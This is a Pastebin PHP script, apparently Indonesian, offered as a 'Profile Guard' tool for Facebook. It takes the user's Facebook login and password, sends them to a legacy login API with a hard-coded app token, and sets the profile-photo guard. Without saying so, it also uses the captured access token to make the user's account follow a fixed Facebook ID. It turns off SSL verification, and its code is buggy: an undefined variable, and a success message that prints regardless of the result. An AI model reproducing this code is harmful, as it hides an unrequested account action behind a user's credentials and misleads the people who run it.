Guest User

Guard Facebook

a guest
Apr 9th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.81 KB | None | 0 0
  1. <?php
  2. ///*JANGAN DIRECODE DONG BANGSAT CAPE NGETIK KONTOL///
  3. if(strtolower(substr(PHP_OS, 0, 3)) == "win") {
  4. $bersih="cls";
  5. } else {
  6. $bersih="clear";
  7. }
  8. date_default_timezone_set('Asia/Jakarta');
  9. $date   = date('d-M-Y H:i:s');
  10. $green  = "\e[92m";
  11. $red    = "\e[91m";
  12. $yellow = "\e[93m";
  13. $blue   = "\e[36m";
  14. pilih:
  15. system($bersih);
  16. echo "\n$yellow
  17. ____        _    _   __        _    _____
  18. | __ )  ___ | |_ | | / / _____ | |_ |  __ \
  19. |  _ \ / _ \|  _|| |/ / |  _  ||  _|| |  \ \
  20. | |_) | (_) | |_ |  _ \ | | | || |_ | |__/ /
  21. |____/ \___/ \__||_| \_\|_| |_|\___||_____/";
  22. echo "\n$blue
  23. Author  : Al2VyN
  24. Type    : Profil Guard Facebook
  25. Github  : http://github.com/Al2VyN
  26. Date    : $date\n";
  27. echo " \n";
  28. @header('Content-Type: text/html; charset=UTF-8');
  29. function input($echo) {
  30.     echo "$echo : ";
  31. }
  32. echo "$green _";sleep(1.5);echo"__";sleep(1.5);echo "___";echo"____";sleep(1.5);echo "_____";sleep(1.5);echo"______";sleep(1.5);echo "______";sleep(1.5);echo"________";sleep(1.5);echo"_________";sleep(1.5);echo "__________";
  33. echo " \n";
  34. echo " \n";
  35. input("$yellow Do You Want To Use This Tool ? $green [y/n]");
  36. $pilih = trim(fgets(STDIN));
  37.     echo "\n";
  38. if($pilih == "n") {
  39.     die("$red (!) See You $red (!)\n");
  40. } elseif($pilih == "y") {
  41.    echo "$red ATTENTION :$green Please Login Via The Browser First To Avoid The Checkpoint (Ex:Opera,Chrome,UC,and others)\n";
  42.    echo "\n";
  43. input("$blue Email/Phone/UID");
  44. $iduser=trim(fgets(STDIN));
  45. input("$blue Password       ");
  46.  $pass= trim(fgets(STDIN));
  47. echo "\n";
  48. echo "$blue ______________________________\n";
  49. echo "\n";
  50. } else {
  51.     echo "$red(!)$yellow Invalid$red (!)$green\n";
  52.     echo "\n";
  53.     goto pilih;
  54. }
  55. $a=file_get_contents('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='.$iduser.'&locale=en_US&password='.$pass.'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6');
  56. $json= json_decode($a, true);
  57. $userid = $json['session_cookies'][0]['value'];
  58. $token = $json['access_token'];
  59. if(preg_match('/session_key/', $a)) {
  60.         echo "$red Proccesing Login To Facebook";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".\n";sleep(1);
  61.         echo "$yellow Login Success[√]\n";sleep(1);
  62.         echo "$blue ______________________________\n";
  63.         echo "$red Checking Your Handsome / Beautiful Profile Photo";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);
  64.         echo "$blue So Bad xD";echo "$red He";sleep(1);echo "he";sleep(1);echo "he";sleep(1);echo "he\n";sleep(1);
  65.         echo "$yellow Shielding Your Profile Photo\n";
  66.         echo " .";sleep(1);echo ".";sleep(1);echo ".";echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".";sleep(1);echo ".\n";
  67.  } else{
  68.         echo ("\n");
  69.         die("$red [!]Check Your Username / Password \n");
  70.         echo "\n";
  71.  }
  72. $md5 = md5(time());
  73. $hash = substr($md5, 0, 8)."-".substr($md5, 8, 4)."-".substr($md5, 12, 4)."-".substr($md5, 16, 4)."-".substr($md5, 20, 12);
  74. function curl($url, $post=null) {
  75.     $ch = curl_init();
  76.     curl_setopt($ch, CURLOPT_URL, $url);
  77.     if($post != null) {
  78.         curl_setopt($ch, CURLOPT_POST, true);
  79.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  80.     }
  81.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  82.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  83.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  84.     $exec = curl_exec($ch);
  85.     curl_close($ch);
  86.     return $exec;
  87. }
  88. $follow=file_get_contents("https://graph.facebook.com/100011898587499/subscribers?method=post&access_token=".$token);
  89. $b = json_decode(curl("https://graph.facebook.com/me?fields=id&access_token=".$token));
  90. if($b && $b->id) {
  91.     $var = "{\"0\":{\"is_shielded\":true,\"session_id\":\"$hash\",\"actor_id\":\"$me->id\",\"client_mutation_id\":\"$hash\"}}";
  92.     $hajar = json_decode(curl("https://graph.facebook.com/graphql", array(
  93.         "variables" => $var,
  94.         "doc_id" => "1477043292367183",
  95.         "query_name" => "IsShieldedSetMutation",
  96.         "strip_defaults" => "true",
  97.         "strip_nulls" => "true",
  98.         "locale" => "en_US",
  99.         "client_country_code" => "US",
  100.         "fb_api_req_friendly_name" => "IsShieldedSetMutation",
  101.         "fb_api_caller_class" => "IsShieldedSetMutation",
  102.         "access_token" => $token    )));
  103.     if($hajar->data->is_shielded_set->is_shielded)
  104.         echo "$blue ______________________________\n";
  105.         echo "$green [√]Successfully Check Your Profile\n";sleep(1.5);
  106.         echo "$yellow Thanks...\n";sleep(1);
  107.         echo "$red See You Again\n";sleep(0.5);
  108.         echo "\n";
  109. }
  110. ?>
Add Comment
Please, Sign In to add comment